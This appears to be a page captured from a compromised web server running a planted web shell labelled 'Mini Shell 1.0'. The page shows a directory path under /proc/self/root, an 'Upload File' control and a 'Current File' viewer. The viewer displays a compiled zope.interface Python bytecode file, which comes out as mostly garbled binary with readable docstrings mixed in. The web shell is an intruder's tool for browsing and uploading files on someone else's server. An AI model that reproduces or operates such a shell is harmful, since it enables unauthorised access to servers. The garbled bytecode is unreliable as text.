HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/zope/interface/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/zope/interface/__pycache__/document.cpython-311.pyc
�

JDvc���8�dZddlZddgZdd�Zdd�Zd�Zd
d
�ZdS)z� Pretty-Print an Interface object as structured text (Yum)

This module provides a function, asStructuredText, for rendering an
interface as structured text.
�N�asReStructuredText�asStructuredTextFc��|rd�}nd�}||�����g}|j}d}|���r8|tt	|�����|����d�|jD��}|rp|td||����|dz
}|D]I}d||�����z}	|tt	|	��||�����J|dz}t
|�����}
|td||����|dz
}|
D]r\}}t|d��s]||������d	|���pd
��}	|tt	|	��||�����s|dz}|td||����|dz
}|
D]�\}}t|d��ru|����|�	����}
||
���d	|���pd
��}	|tt	|	��||������d�
|��dzS)
z� Output structured text format.  Note, this will whack any existing
    'structured' format of the text.

    If `rst=True`, then the output will quote all code as inline literals in
    accordance with 'reStructuredText' markup principles.
    c��d|�d�S)Nz``���ss �9/usr/lib/python3/dist-packages/zope/interface/document.py�<lambda>z"asStructuredText.<locals>.<lambda>#s���q�q�q�?��c��|S)Nrrs r
rz"asStructuredText.<locals>.<lambda>%s��1�r�c�8�g|]}|tjju�|��Sr)�zope�	interface�	Interface)�.0�bases  r
�
<listcomp>z$asStructuredText.<locals>.<listcomp>.s2��
�
�
���D�N�4�4�4��4�4�4rzThis interface extends:zo %szAttributes:�getSignatureStringz -- zno documentationzMethods:z

)�getName�append�getDoc�_justify_and_indent�_trim_doc_string�	__bases__�sorted�namesAndDescriptions�hasattrr�join)�I�munge�rst�inline_literal�r�outp�level�bases�b�itemr�name�desc�_calls              r
rrs����%�2�2���$���	���	�	���	$�	$�%�A��8�D�
�E��x�x�z�z�G���
 �!1�!�(�(�*�*�!=�!=�u�
E�
E�F�F�F�
�
���
�
�
�E�
����
 �!:�E�5�
I�
I�J�J�J�
��
���	L�	L�A��N�N�1�9�9�;�;�7�7�7�D��D�$�%5�d�%;�%;�U�E�J�J�K�K�K�K�
��
��!�!�"8�"8�":�":�;�;���D�	�]�E�5�	9�	9�:�:�:�	�Q�J�E�*�L�L�
��d��t�1�2�2�	L�!/�������!?�!?�!?�!?�!%�����!D�2D�!D�F�D��D�$�%5�d�%;�%;�U�E�J�J�K�K�K��	�Q�J�E��D�	�Z���	6�	6�7�7�7�	�Q�J�E�*�L�L�
��d��4�-�.�.�	L�"�l�l�n�n�n�d�.E�.E�.G�.G�.G�H�E�!/���!6�!6�!6�!6�!%�����!D�2D�!D�F�D��D�$�%5�d�%;�%;�U�E�J�J�K�K�K���;�;�q�>�>�F�"�"rc�&�t||d���S)zi Output reStructuredText format.  Note, this will whack any existing
    'structured' format of the text.T)r"r#)r)r!r"s  r
rrQs���A�U��5�5�5�5rc�$�|�dd���d��}|�d��g}|r;td�|D����}|D]}|�||d���� d�|��S)zJ Trims a doc string to make it format
    correctly with structured text. �
�
rc�p�g|]3}t|��t|�����z
��4Sr)�len�lstrip)r�lines  r
rz$_trim_doc_string.<locals>.<listcomp>^sC��-�-�-�"��d�)�)�c�$�+�+�-�-�&8�&8�8�-�-�-rN)�replace�split�pop�minrr )�text�lines�nlines�
min_indentr5s     r
rrWs���
�L�L���&�&�,�,�T�2�2�E��i�i��l�l�^�F��-��-�-�&+�-�-�-�.�.�
��	-�	-�D��M�M�$�z�{�{�+�,�,�,�,��9�9�V���r�Hc��d|z}|r�g}|}|���}|D]C}d�||g��}t|��|kr|�|��|}�D|�|��d�|��S||����dd���dd|z��zS)z9 indent and justify text, rejustify (munge) if specified � r1r0)r7r r3r�stripr6)r:r'r"�width�indentr;r5�words        r
rrfs����5�[�F��M������z�z�|�|���	�	�D��8�8�T�4�L�)�)�D��4�y�y�5� � ����T�"�"�"�����L�L������y�y�������J�J�L�L� � ���.�.�7�7��d�V�m�L�L�M�	Mr)rF)r)rr>)�__doc__�zope.interfacer�__all__rrrrrrr
�<module>rHs�����
��������
4#�4#�4#�4#�n6�6�6�6����M�M�M�M�M�Mr